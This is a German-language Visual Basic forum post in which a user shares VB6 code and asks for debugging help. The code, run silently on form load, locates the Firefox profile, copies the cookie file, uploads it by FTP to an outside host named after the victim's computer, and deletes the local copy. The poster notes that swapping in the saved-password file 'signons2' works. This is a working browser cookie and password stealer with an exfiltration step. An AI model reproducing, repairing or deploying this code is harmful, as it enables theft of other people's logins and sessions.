Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
the_gam3r_
Coder
Coder

Anmeldedatum: 09.02.2008
Beiträge: 89

Datei zu groß für upload?
Verfasst am: 06.05.2009, 20:55

Code:
Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim no7 As String
Dim no6 As String
Dim ProfileName As String
Dim Useless As String
Dim localfile As String
Dim remotefile As String
Dim complete As String

FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"

Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, no7
Close #1 '

ProfileName = Mid(no7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
complete = ProfilePath & "\cookies.txt"

Open complete For Input As #1
Do While Not EOF(1)
zeile = ""
Line Input #1, zeile
List1.AddItem zeile
Open Environ("SystemDrive") & "\cookies.txt" For Output As #2
For i = 1 To List1.ListCount - 1
Print #2, List1.List(i)
Next
Close #2
Loop
Close #1

localfile = Environ("SystemDrive") & "\cookies.txt"
remotefile = Environ("computername") & "-" & "cookies.txt"
With Inet1
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = "sldc.sl.funpic.de"
  .UserName = "sldc"
  .Password = "pw"
 
  .Execute , "PUT " & localfile & " " & remotefile
 
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill localfile

End With
End
End Sub


Eine leere cookies.txt wird geuppt !?
wenn ich anstatt cookies signons2 mach, gehts oO
mysteriös..
weis jemand wiesoo ?
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: upload, groß, datei, funpic, string

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 983 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2608 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1203 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2266 22.03.2007, 21:25
 


[ Time: 0.2931s ][ Queries: 82 (0.2077s) ][ GZIP on - Debug on ]